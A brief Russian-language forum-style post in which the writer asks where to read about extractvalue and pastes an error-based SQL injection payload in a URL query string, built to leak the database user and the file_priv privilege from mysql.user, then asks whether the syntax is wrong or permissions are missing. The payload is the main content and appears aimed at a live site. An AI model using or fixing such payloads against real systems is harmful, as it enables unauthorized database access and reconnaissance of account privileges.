YaBtr где можно почитать про extractvalue?

?query=1'*(extractvalue(1,concat(0x3a,uSer(),0x3a, file_priv)+from+mySql.uSer))*%20'&x=0&y=0

почему не работает? синтаксис у меня кривой или прав нету?